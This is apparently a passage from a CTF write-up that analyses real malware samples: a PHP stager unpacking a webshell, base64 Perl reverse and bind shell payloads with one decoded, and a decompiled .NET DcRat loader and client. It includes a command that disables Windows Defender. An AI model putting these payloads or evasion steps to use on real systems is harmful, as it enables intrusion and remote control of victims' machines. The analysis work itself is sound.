     7530  2023-09-14 04:49   3d2d99df3e828d3271d08b3aa8f284b58b82bffa6fde9b729a80cc3dfa6fe333
     7530  2023-09-14 04:49   3513d8d5ee18f37521f21c5ff4b95cd456cd3707f45c2860b96dc4d18d5f7b7f
     7530  2023-09-14 04:49   38fbf520c6e699d2ba2c962ff49d25afa047c829162a809e3e857dc74af135b0
     7530  2023-09-14 04:49   496b4b51c22f379d71f96aa68655f00ea7d91c0035e39667bbb0b6ceccfba161
---------                     -------
  7530000                     1000 files

All the files looks similar with always the same size.

Let’s diff two files:

1
2
3
4
5
$ diff 559cb72f981be4df371fc501db246318ce3fe9950e1102bbd97630d8858e8e93 ad9faaccda377bb05ec4284953d84a9f881838314ea7a3a3389f14e5790e3817
36c36
<     if (!String.Equals(pass, "cad737a7-896f-4d11-8c59-d6ae7453f784")) {
---
>     if (!String.Equals(pass, "a3e1d3a2-891b-4ca4-8b4d-a70e9aacf118")) {

Let’s grep for that line in all files and see if something different appears.

1
2
3
4
5
6
7
8
9
$ grep "String.Equals" * | less
--- snip ---
cbc69f6540764ad88a592563b3b0cf99ac40f122406aa9a8e1ecdf4af2532a67:    if (!String.Equals(pass, "835c7a1b-acf5-4114-adf0-e7de81973684")) {
cc12ada53a7c7a95a87888fd2c6978d3d887f9624bc6380ed55212e0217e1a0b:    if (!String.Equals(pass, "6d5162c4-0fa2-482b-a110-ffb834193a83")) {
cc53495bb42e4f6563b68cdbdd5e4c2a9119b498b488f53c0f281d751a368f19:    if (!String.Equals(pass, "666c6167-7b36-6365-3666-366131356464"+"64623065-6262-3333-3262-666166326230"+"62383564-317d-0000-0000-000000000000"
)) {
cc84e455e913f8c7ae08b90343fd34bbc2aba9e13f5f8779be13dd6e3f8796d3:    if (!String.Equals(pass, "c517f0d3-3d06-4c6f-9ea0-4aea5f1ad2c3")) {
cd5cbad585c52399317843a805a7814be93c2211c860d0da47987e64eb4615d0:    if (!String.Equals(pass, "f783de9f-741a-4421-b76d-e7aa7c429453")) {
--- snip ---

Let’s decode the longest string :

1
2
3
4
5
6
7
$ python3
Python 3.9.1 (default, Oct 13 2021, 17:37:58)
[GCC 7.5.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from binascii import unhexlify
>>> unhexlify(("666c6167-7b36-6365-3666-366131356464"+"64623065-6262-3333-3262-666166326230"+"62383564-317d-0000-0000-000000000000").replace("-", ""))
b'flag{6ce6f6a15dddb0ebb332bfaf2b0b85d1}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

Opendir

Description

A threat actor exposed an open directory on the public internet! We could explore their tools for some further intelligence. Can you find a flag they might be hiding?

NOTE: This showcases genuine malware samples found a real opendir. For domain reputation purposes, this is behind Basic Authentication with credentials: opendir:opendir

Solution

Using those credentials we can access a web server with directory listing.

I got the whole files using the following command:

1
wget -r http://opendir:opendir@chal.ctf.games:31316/

Then a regex was enough to solve the challenge:

1
2
$ grep -r 'flag{' .
./64_bit_new/oui.txt:flag{9eb4ebf423b4e5b2a88aa92b0578cbd9}

PHP Stager

Description

Ugh, we found PHP set up as an autorun to stage some other weird shady stuff. Can you unravel the payload?

Solution

We get a PHP file named phonetic.

It looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

function deGRi($wyB6B, $w3Q12 = '') { $zZ096 = $wyB6B; $pCLb8 = ''; for ($fMp3G = 0; $fMp3G < strlen($zZ096);) { for ($oxWol = 0; $oxWol < strlen($w3Q12) && $fMp3G < strlen($zZ096); $oxWol++, $fMp3G++) { $pCLb8 .= $zZ096[$fMp3G] ^ $w3Q12[$oxWol]; } } return $pCLb8; }
/*iNsGNGYwlzdJjfaQJIGRtTokpZOTeLzrQnnBdsvXYlQCeCPPBElJTcuHmhkJjFXmRHApOYlqePWotTXHMuiuNfUYCjZsItPbmUiXSxvEEovUceztrezYbaOileiVBabK*/

$lBuAnNeu5282 = ")o4la2cih1kp97rmt*x5dw38b(sfy6;envguz_jq/.0"
$gbaylYLd6204 = "LmQ9AT8aND16c2AcM--- snip huge base64 blob---YR9hASYWGxcJXwB9A2t4";
$fsPwhnfn8423 = "";
$oZjuNUpA325 = "";
foreach([24,4,26,31,29,2,37,20,31,6,1,20,31] as $k){
   $fsPwhnfn8423 .= $lBuAnNeu5282[$k];
}
foreach([26,16,14,14,31,33] as $k){
   $oZjuNUpA325 .= $lBuAnNeu5282[$k];
}

/*aajypPZLxFoueiuYpHkwIQbmoSLrNBGmiaDTgcWLKRANAfJxGeoOIzIjLBHHsVEHKTrhqhmFqWgapWrPsuMYcbIZBcXQrjWWEGzoUgWsqUfgyHtbwEDdQxcJKxGTJqIe*/

$k = $oZjuNUpA325('n'.''.''.'o'.''.''.'i'.''.'t'.''.'c'.''.'n'.''.'u'.'f'.''.''.''.''.'_'.''.''.''.'e'.''.'t'.''.'a'.''.'e'.''.''.''.''.'r'.''.''.''.''.'c');
$c = $k("/*XAjqgQvv4067*/", $fsPwhnfn8423( deGRi($fsPwhnfn8423($gbaylYLd6204), "tVEwfwrN302")));
$c();

/*TnaqRZZZJMyfalOgUHObXMPnnMIQvrNgBNUkiLwzwxlYWIDfMEsSyVVKkUfFBllcCgiYSrnTCcqLlZMXXuqDsYwbAVUpaZeRXtQGWQwhcAQrUknJCeHiFTpljQdRSGpz*/

Which such PHP code you must be careful because the language allows to assign a function to a variable then call it.

This is exactly what is done with variables $oZjuNUpA325, $fsPwhnfn8423, $k and $c.

We also see that the function deGRi is doing a XOR encryption and I guess that $lBuAnNeu5282 is a key.

Let’s put an exit() call after the two foreach loop as no unknown function is called at that point.

We will add some code to display variables.

1
2
3
cho "sPwhnfn8423 is $fsPwhnfn8423\n";
echo "oZjuNUpA325 is $oZjuNUpA325\n";
exit();

Now we can safely execute the script:

1
2
sPwhnfn8423 is base64_decode
oZjuNUpA325 is strrev

So those two variables are safe to execute.

We also understand that $k is an alias for create_function. It means the PHP code will create a function out of some obfuscated code and name it with a strange name (/*XAjqgQvv4067*/).

Let’s add that line just before our call to exit() :

1
echo $fsPwhnfn8423( deGRi($fsPwhnfn8423($gbaylYLd6204), "tVEwfwrN302")) . "\n";

Which gives a huge PHP/HTML code (it is a webshell). Let’s scroll until we find something of interest.

Here we go:

1
2
3
4
function actionNetwork() {
        wsoHeader();
        $back_connect_p="IyEvdXNyL2Jpbi9wZXJsCnVzZSBTb2NrZXQ7CiRpYWRkcj1pbmV0X2F0b24oJEFSR1ZbMF0pIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsKJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsKJHByb3RvPWdldHByb3RvYnluYW1lKCd0Y3AnKTsKc29ja2V0KFNPQ0tFVCwgUEZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllKCJFcnJvcjogJCFcbiIpOwpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7Cm9wZW4oU1RESU4sICI+JlNPQ0tFVCIpOwpvcGVuKFNURE9VVCwgIj4mU09DS0VUIik7Cm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsKbXkgJHN0ciA9IDw8RU5EOwpiZWdpbiA2NDQgdXVlbmNvZGUudXUKRjlGUUE5V0xZOEM1Qy0jLFEsVjBRLENEVS4jLFUtJilFLUMoWC0mOUM5IzhTOSYwUi1HVGAKYAplbmQKRU5ECnN5c3RlbSgnL2Jpbi9zaCAtaSAtYyAiZWNobyAke3N0cmluZ307IGJhc2giJyk7CmNsb3NlKFNURElOKTsKY2xvc2UoU1RET1VUKTsKY2xvc2UoU1RERVJSKQ==";
        $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";

Given the names it looks like encoded shellcodes.

Decoded from base64, the first one gives the following code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/perl
use Socket;
$iaddr=inet_aton($ARGV[0]) || die("Error: $!\n");
$paddr=sockaddr_in($ARGV[1], $iaddr) || die("Error: $!\n");
$proto=getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
my $str = <<END;
begin 644 uuencode.uu
F9FQA9WLY8C5C-#,Q,V0Q,CDU.#,U-&)E-C(X-&9C9#8S9&0R-GT`
`
end
END
system('/bin/sh -i -c "echo ${string}; bash"');
close(STDIN);
close(STDOUT);
close(STDERR)

We can see the mention of uuencoding. As far as I remember it is some encoding used for emails.

I found this online decoder : URIH.

Decoding gives the final flag flag{9b5c4313d12958354be6284fcd63dd26}

RAT

Description

I was arguing with a co-worker on whether or not it is “Remote Access Tool” or “Remote Access Trojan”, and he didn’t agree with me, so I sent him this shady file ;)

Solution

RAT was a difficult challenge compared to previous challenges ranked at the same difficulty.

It may have deserved a hard label. At least it required reverse-engineering a .NET application.

1
2
$ file rat
rat: PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows

I don’t know much about decompiling .NET binaries. I know the most popular tool is ILSpy but when I discovered that JetBrains has it own solution called dotPeek I definitively wanted to test that.

Prior to that I looked inside the binary using strings and saw a lot of hex-encoded strings. Unfortunately they decoded to gibberish.

To run dotPeek you need a Windows VM and you must disable Windows Defender to prevent it from removing the file to analyze.

Use the following command in a Powwershell window launched as administrator to deactivate Defender :

1
Set-MpPreference -DisableRealtimeMonitoring $true

When you open the binary with dotPeek it adds an entry in its Assembly Explorer called PopITStub.

Underneath there is an entry called Program which is the decompiled code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
// Decompiled with JetBrains decompiler
// Type: PopITStub.Program
// Assembly: PopITStub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 7BF7A52D-2BBE-4AD2-83B6-C053C507BA36
// Assembly location: C:\Users\User\Desktop\rat.exe

using System;
using System.IO;
using System.IO.Compression;
using System.Reflection;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading;
using System.Threading.Tasks;

namespace PopITStub
{
  internal class Program
  {
    private static void Main(string[] args)
    {
      Program.hook hook = new Program.hook();
      Task.WaitAll(hook.get_1(), hook.get_2());
      Task.WaitAll(hook.get_3(), hook.get_4());
      hook.exu_bot().Wait();
    }

    public class perem
    {
      public static string path;
      public static byte[] lib;
      public static byte[] file;
    }

    public class returner
    {
      public static byte[] setter(Program.returner.store1 jof) => jof.boy();

      public abstract class store1
      {
        public abstract byte[] boy();
      }

      public class dgr1 : Program.returner.store1
      {
        public override byte[] boy() => Program.cry.decrypters.decrypt(Program.cry.readers.getArr(1), Convert.ToInt32(Program.cry.readers.getStr(1)));
      }

      public class dgr2 : Program.returner.store1
      {
        public override byte[] boy() => Program.cry.decrypters.decrypt(Program.cry.readers.getArr(2), Convert.ToInt32(Program.cry.readers.getStr(2)));
      }
    }

    public class hook
    {
      public async Task get_1() => await Task.Run((Action) (() => Program.hook.jofi_tofy(new Program.hook.get_main())));

      public async Task get_2() => await Task.Run((Action) (() => Program.hook.jofi_tofy((Program.hook.get_main) new Program.hook.check_mutx())));

      public async Task get_3() => await Task.Run((Action) (() => Program.perem.lib = Program.returner.setter((Program.returner.store1) new Program.returner.dgr1())));

      public async Task get_4() => await Task.Run((Action) (() => Program.perem.file = Program.returner.setter((Program.returner.store1) new Program.returner.dgr2())));

      public async Task exu_bot() => await Task.Run((Action) (() => Program.hook.jofi_tofy((Program.hook.get_main) new Program.hook.oncole())));

      public static void jofi_tofy(Program.hook.get_main sex) => sex.unload();

      public class get_main
      {
        public virtual void unload() => Program.perem.path = Assembly.GetExecutingAssembly().Location;
      }

      public class check_mutx : Program.hook.get_main
      {
        public override void unload()
        {
          bool createdNew = false;
          Mutex mutex = new Mutex(false, "ewfgtr3weds", out createdNew);
          if (createdNew)
            return;
          Environment.Exit(0);
        }
      }

      public class oncole : Program.hook.get_main
      {
        public override void unload()
        {
          MethodInfo method = Assembly.Load(Program.perem.lib).GetType("pX4v8jNB2NMVUYaPjR.rEito1YK0HtJZSVnBy").GetMethod("rEiYto1K0");
          try
          {
            method.Invoke((object) null, new object[4]
            {
              (object) 0,
              (object) Program.perem.file,
              (object) true,
              (object) true
            });
          }
          catch
          {
            method.Invoke((object) null, new object[4]
            {
              (object) 1,
              (object) Program.perem.file,
              (object) true,
              (object) true
            });
          }
        }
      }
    }

    public class cry
    {
      public class readers
      {
        public static string getStr(int massive) => Regex.Match(Encoding.ASCII.GetString(File.ReadAllBytes(Program.perem.path)), "<pass1>(.*?)</pass1><pass2>(.*?)</pass2><autorun>(.*?)</autorun>").Groups[massive].Value;

        public static byte[] getArr(int massive) => Program.cry.decrypters.hextobyte(Regex.Match(Encoding.ASCII.GetString(File.ReadAllBytes(Program.perem.path)), "<libArr>(.*?)</libArr><fileArr>(.*?)</fileArr>").Groups[massive].Value);
      }

      public class decrypters
      {
        public static byte[] hextobyte(string hex)
        {
          int length = hex.Length;
          byte[] numArray = new byte[length / 2];
          for (int startIndex = 0; startIndex < length; startIndex += 2)
            numArray[startIndex / 2] = Convert.ToByte(hex.Substring(startIndex, 2), 16);
          return numArray;
        }

        public static byte[] decrypt(byte[] data, int pass)
        {
          for (int index = 0; index < data.Length; ++index)
            data[index] = (byte) ((uint) data[index] ^ (uint) pass);
          using (MemoryStream memoryStream = new MemoryStream(data))
          {
            using (GZipStream gzipStream = new GZipStream((Stream) memoryStream, CompressionMode.Decompress))
            {
              using (MemoryStream destination = new MemoryStream())
              {
                gzipStream.CopyTo((Stream) destination);
                return destination.ToArray();
              }
            }
          }
        }
      }
    }
  }
}

There are interesting things here!

First in the class cry the methods getStr and getArr will use regexes to extract some hex encoded string for the binary.

If you grep for pass1 on the binary you will get a very long line like this:

1
<libArr>{long hex encoded string}</libArr><fileArr>{long hex encoded string}</fileArr><pass1>276</pass1><pass2>199</pass2><autorun>false</autorun>

And if you look to classes dgr1 and dgr2 you understand that pass1 should be used for libArr and pass2 for fileArr.

The decrypt method is just doing a XOR operation on each byte using the same unsigned int as key.

Doing XOR with Python may be problematic because the int type doesn’t have a limit of size. I asked ChatGPT to give me a little C program, so I don’t waste some time:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <stdio.h>
#include <stdlib.h>

int main() {
    char inputFilename[256];
    unsigned int xorKey;

    printf("Enter the input filename: ");
    scanf("%255s", inputFilename);  // Read input filename
    printf("Enter the XOR key (unsigned int): ");
    scanf("%u", &xorKey);  // Read XOR key

    FILE *inputFile = fopen(inputFilename, "rb");
    if (!inputFile) {
        perror("Error opening input file");
        return 1;
    }

    FILE *outputFile = fopen("decrypted.gz", "wb");
    if (!outputFile) {
        perror("Error opening output file");
        fclose(inputFile);
        return 1;
    }

    int ch;
    while ((ch = fgetc(inputFile)) != EOF) {
        // XOR each byte with the provided key
        ch = ch ^ xorKey;
        fputc(ch, outputFile);
    }

    fclose(inputFile);
    fclose(outputFile);

    printf("Decryption completed. Output saved as 'decrypted.gz'\n");

    return 0;
}

Once I extracted the hex-encoded strings, decoded them, wrote to some file, XORed them then uncompressed using gunzip I had two more .NET binaries:

1
2
3
$ file clear_*
clear_fileArr.exe: PE32 executable (GUI) Intel 80386, Mono/.Net assembly, for MS Windows, 3 sections
clear_libArr.dll:  PE32+ executable (DLL) (console) x86-64, Mono/.Net assembly, for MS Windows, 2 sections

Once clear_fileArr.exe is loaded into dotPeek, it adds an entry called Client.

Underneath there are several entries but the more interesting are Settings and Aes256.

The Settings code is the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
// Decompiled with JetBrains decompiler
// Type: Client.Settings
// Assembly: Client, Version=1.0.7.0, Culture=neutral, PublicKeyToken=null
// MVID: E8F2D328-85DD-4BC4-87E9-67CEBB68EC65
// Assembly location: C:\Users\User\Desktop\clear_fileArr.exe

using Client.Algorithm;
using Client.Helper;
using System;
using System.Security.Cryptography;
using System.Security.Cryptography.X509Certificates;
using System.Text;

namespace Client
{
  public static class Settings
  {
    public static string Por_ts = "bXGmOq5acG9CAtRKtRJkfqH5X5HLW67RlYyFZJ00/iG0/I1eqBXOR4870uo1QTcLGfpqwcbkWv8oFWIuQOXrBBRM/snjV/KU3AFXq+Y938Y=";
    public static string Hos_ts = "N8prnI5ec4B7gUkGVPDluju/aA/pRitgZQnomc8bRjSiXdbPQKTDzXvrQ2X1xNv+X4uRps2FgAa2Gk/lIIW+p4dF67jeZmIeqA5Tes5X6F0=";
    public static string Ver_sion = "37sMWzpSzMxyzlFxmKngkegtpxSKePHfSZbRFNZklHXV9Usa6jhRS/DQQ4A34SDWZuQKC/qCl1pk9/bAOok+Nw==";
    public static string In_stall = "dKw7UzFnW/FJY8j56iNPRxPGWL4A9dYIabmSHBFcatOvHSN2HSP060SnRYzfm+AL59fqudsXAkYrsULPTaYhKg==";
    public static string Install_Folder = "%AppData%";
    public static string Install_File = "svchost.exe";
    public static string Key = "S1hNZ2tQdFJlRkVIWXhKczRMZEIwRmRQVmg3WGxDNEQ=";
    public static string MTX = "ZA+KebBDBS4ANwMEHlyqteMUJ/hwDRcw+YRdtBeIzpihPF0k5KQ+OtGRUxvfFHXKdQr9Fef6lFjLCOHxWubHlcHVJsdYTz8VkkxuzaDfNc4=";
    public static string Certifi_cate = "9WJ5xtcODEQb7ZvCtKphQbb2ru4AFR08ymEa+hXiN6lNVAqM7bsdCgbE/J3FpKyjIwN1tb3rlkAjZBjw/S7yIg0P64Hc0aw1ppbhiHU8UsOp+5iQqabG1jy678cxtFk/6syurBtsWwtJ2JaSPQXvMsIvsVoxKRdWw+ByQcclAIC66eYt7zrViwvTHpzIVSONxMloHRhHT5uPlfkAexLuk7VAg6qMKlaQIGO2iw9Jfjcb3xRAkgvm6NPCzVyFhmrFv2e5iU7c/ZYrGqbeAfMQhfZ2YJwehEJlNIhJHbA/QQIq5luU2nd+SSknKYuBvE9py9roV7nAN11SXxIr2g+ly0vH7oWnpF7iKzg+04mAM0WjEr1C1b3QSMD1RoXdCsBuhhHu1Zo3YDEEz6A4Q8oYsc75DHIJvmhZ17amSqSLrt/+Op2TqKAbRbovpCTQZo1Y3iP7/OShGCPagfpor+e4Wh5GuiIdgxo9Wi8XjJlS1rRhmmUMqrOIG0t4Myq95Z67BuamtEYuovE+dWq/DJWbkSQ/sUyg936zyA6Cl7opuKwJn/NPlQkIjXo1DkDK/L8esUX4MfcPHNClz6sacnaSDJ2rxWHAI3kfmIRNHm9N2bDDfMeBIR2drJ4g/ghCUPm87g+O7XyzVJvcrHhPOw4SRj4OQguM/aVST6V+4LPD4vDA5bOoXGKprz4NnNqtKoYPuJNfQdyDJDpqTH7CaX5IKJwjmvjcHe4zZREvIZp3e+ouKSr44Z3c0LkDc9odHtePs7QE817/uUxVG9I499beG3KfAn4eQEw25FAgcORlKRygAiCNW9p+EI31bKkYpyQ0wYJ6P03nkolzNH+S90saXoyH4Io9f3XoinA9ddGn6E0ZxB1dVD6s7WrGaAno1WvayycbWhlz4nupvY8O3v6B72CGwHarXFllsz6FFrfSGBdgeHBGeL8oo8Gu2858pnUwzV/Y8Z23dwTctu8kFQ47FfDLxhLZv8YavH45c93HIjEc0atNNgQXqzq0sQGWQImQDJWfEfbPVA8HBgFU9Dj5WvYgbB7su46QaWLh7FBouHytXQaAspq3suR0xm/yQ0yY";
    public static string Server_signa_ture = "eV+NaSPLGvju8kMCdjN4G13uIdgxoS0mF9/3sOr2BD3JNZNsiFqx0Q6dc1gf7OzHM5tJaPVSNf+AM/8EubFMYVkDHpZ5Bz9ehSrkL4KPsxfx3MGb+tc7O0p/Gq8lxGmaoVvdrd7Tk3rMhRCqfbbfslr1ocdqK0U/HF0Ct0I6LEYzOomsTjFHKldkaVOqyBeo6O24rslUCKhKoOsfLMCqXSrFdvxERutEHzljVKc9nB+d194b53624GU4bfDda7uCv46sO0uxkYVe3vzLNfN9XKQVsP6gYLJYqHAYamhcBS8=";
    public static string Flag = "mZzroGSIkpZlwvCwLG0PHQMXzjphDowlbeBayjWJhmYPJ5KiQeUAbcv9SzTnLGpr3uYQ0VvZ02rGlxz71tOXMemdK1DKKY6uX2QfUJW+WlDPcLi1u48xBrhmDcpRaK1G";
    public static X509Certificate2 Server_Certificate;
    public static Aes256 aes256;
    public static string Paste_bin = "YdPbUdzwNubP05sFVME1x/zZnxoOrLNAFnBnvAJqoEQuNFJhA+0y+zLINl39e+hckx+vSQNW/O7aBbcqGwimxA==";
    public static string BS_OD = "r2jg98lYn96hKk2aovImXLewikwqs7MI2Xh5DrDbpasjsKYZDh6qVNvyj+CjkWAvp8qxPnjB3tevncIE1mnNGw==";
    public static string Hw_id = (string) null;
    public static string De_lay = "1";
    public static string Group = "Ha1Z0XX9Mbx5qnUwNZFPq5uTUuXORoCiRJJSYIsjPbbG9qOzy2Gak6ZVOeujkrOdB8kKBPdzjOOVycgs2I9avQ==";
    public static string Anti_Process = "YzbSZfj3wPF64K9EsHZWf1azOH7dh83oOCrXp/A8j9CIIhB2CGXzk/2NcbZ0TACUt2I9M0d111WS1nX+uX/ubg==";
    public static string An_ti = "FSgwuRCQkD21d2Yp+4+up9i7z/Vx1h6NhaNvN/U83Ai8M6p+zb51XrJJ+Tg1qn2wQXD84oVNv1WJVLQmQkGnrw==";

    public static bool InitializeSettings()
    {
      try
      {
        Settings.Key = Encoding.UTF8.GetString(Convert.FromBase64String(Settings.Key));
        Settings.aes256 = new Aes256(Settings.Key);
        Settings.Por_ts = Settings.aes256.Decrypt(Settings.Por_ts);
        Settings.Hos_ts = Settings.aes256.Decrypt(Settings.Hos_ts);
        Settings.Ver_sion = Settings.aes256.Decrypt(Settings.Ver_sion);
        Settings.In_stall = Settings.aes256.Decrypt(Settings.In_stall);
        Settings.MTX = Settings.aes256.Decrypt(Settings.MTX);
        Settings.Paste_bin = Settings.aes256.Decrypt(Settings.Paste_bin);
        Settings.An_ti = Settings.aes256.Decrypt(Settings.An_ti);
        Settings.Anti_Process = Settings.aes256.Decrypt(Settings.Anti_Process);
        Settings.BS_OD = Settings.aes256.Decrypt(Settings.BS_OD);
        Settings.Group = Settings.aes256.Decrypt(Settings.Group);
        Settings.Hw_id = HwidGen.HWID();
        Settings.Server_signa_ture = Settings.aes256.Decrypt(Settings.Server_signa_ture);
        Settings.Server_Certificate = new X509Certificate2(Convert.FromBase64String(Settings.aes256.Decrypt(Settings.Certifi_cate)));
        return Settings.VerifyHash();
      }
      catch
      {
        return false;
      }
    }

    private static bool VerifyHash()
    {
      try
      {
        using (SHA256Managed shA256Managed = new SHA256Managed())
          return ((RSACryptoServiceProvider) Settings.Server_Certificate.PublicKey.Key).VerifyHash(shA256Managed.ComputeHash(Encoding.UTF8.GetBytes(Settings.Key)), CryptoConfig.MapNameToOID("SHA256"), Convert.FromBase64String(Settings.Server_signa_ture));
      }
      catch (Exception ex)
      {
        return false;
      }
    }
  }
}

We can see there is an encoded flag!

And in Aes256 we have the code for the Decrypt function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
using System;
using System.IO;
using System.Runtime.CompilerServices;
using System.Security.Cryptography;
using System.Text;

namespace Client.Algorithm
{
  public class Aes256
  {
    private const int KeyLength = 32;
    private const int AuthKeyLength = 64;
    private const int IvLength = 16;
    private const int HmacSha256Length = 32;
    private readonly byte[] _key;
    private readonly byte[] _authKey;
    private static readonly byte[] Salt = Encoding.ASCII.GetBytes("DcRatByqwqdanchun");

    public Aes256(string masterKey)
    {
      if (string.IsNullOrEmpty(masterKey))
        throw new ArgumentException("masterKey can not be null or empty.");
      using (Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(masterKey, Aes256.Salt, 50000))
      {
        this._key = rfc2898DeriveBytes.GetBytes(32);
        this._authKey = rfc2898DeriveBytes.GetBytes(64);
      }
    }

    public string Encrypt(string input) => Convert.ToBase64String(this.Encrypt(Encoding.UTF8.GetBytes(input)));

    public byte[] Encrypt(byte[] input)
    {
      if (input == null)
        throw new ArgumentNullException("input can not be null.");
      using (MemoryStream memoryStream = new MemoryStream())
      {
        memoryStream.Position = 32L;
        using (AesCryptoServiceProvider cryptoServiceProvider = new AesCryptoServiceProvider())
        {
          cryptoServiceProvider.KeySize = 256;
          cryptoServiceProvider.BlockSize = 128;
          cryptoServiceProvider.Mode = CipherMode.CBC;
          cryptoServiceProvider.Padding = PaddingMode.PKCS7;
          cryptoServiceProvider.Key = this._key;
          cryptoServiceProvider.GenerateIV();
          using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, cryptoServiceProvider.CreateEncryptor(), CryptoStreamMode.Write))
          {
            memoryStream.Write(cryptoServiceProvider.IV, 0, cryptoServiceProvider.IV.Length);
            cryptoStream.Write(input, 0, input.Length);
            cryptoStream.FlushFinalBlock();
            using (HMACSHA256 hmacshA256 = new HMACSHA256(this._authKey))
            {
              byte[] hash = hmacshA256.ComputeHash(memoryStream.ToArray(), 32, memoryStream.ToArray().Length - 32);
              memoryStream.Position = 0L;
              memoryStream.Write(hash, 0, hash.Length);
            }
          }
        }
        return memoryStream.ToArray();
      }
    }

    public string Decrypt(string input) => Encoding.UTF8.GetString(this.Decrypt(Convert.FromBase64String(input)));

    public byte[] Decrypt(byte[] input)
    {
      if (input == null)
        throw new ArgumentNullException("input can not be null.");
      using (MemoryStream memoryStream = new MemoryStream(input))
      {
        using (AesCryptoServiceProvider cryptoServiceProvider = new AesCryptoServiceProvider())
        {
          cryptoServiceProvider.KeySize = 256;
          cryptoServiceProvider.BlockSize = 128;
          cryptoServiceProvider.Mode = CipherMode.CBC;
          cryptoServiceProvider.Padding = PaddingMode.PKCS7;
          cryptoServiceProvider.Key = this._key;
          using (HMACSHA256 hmacshA256 = new HMACSHA256(this._authKey))
          {
            byte[] hash = hmacshA256.ComputeHash(memoryStream.ToArray(), 32, memoryStream.ToArray().Length - 32);
            byte[] numArray = new byte[32];
            memoryStream.Read(numArray, 0, numArray.Length);
            if (!this.AreEqual(hash, numArray))
              throw new CryptographicException("Invalid message authentication code (MAC).");
          }
          byte[] buffer = new byte[16];
          memoryStream.Read(buffer, 0, 16);
          cryptoServiceProvider.IV = buffer;
          using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, cryptoServiceProvider.CreateDecryptor(), CryptoStreamMode.Read))
          {
            byte[] numArray = new byte[memoryStream.Length - 16L + 1L];
            byte[] dst = new byte[cryptoStream.Read(numArray, 0, numArray.Length)];
            Buffer.BlockCopy((Array) numArray, 0, (Array) dst, 0, dst.Length);
            return dst;
          }
        }
      }
    }

    [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
    private bool AreEqual(byte[] a1, byte[] a2)
    {
      bool flag = true;
      for (int index = 0; index < a1.Length; ++index)
      {
        if ((int) a1[index] != (int) a2[index])
          flag = false;
      }
      return flag;
    }
  }
}

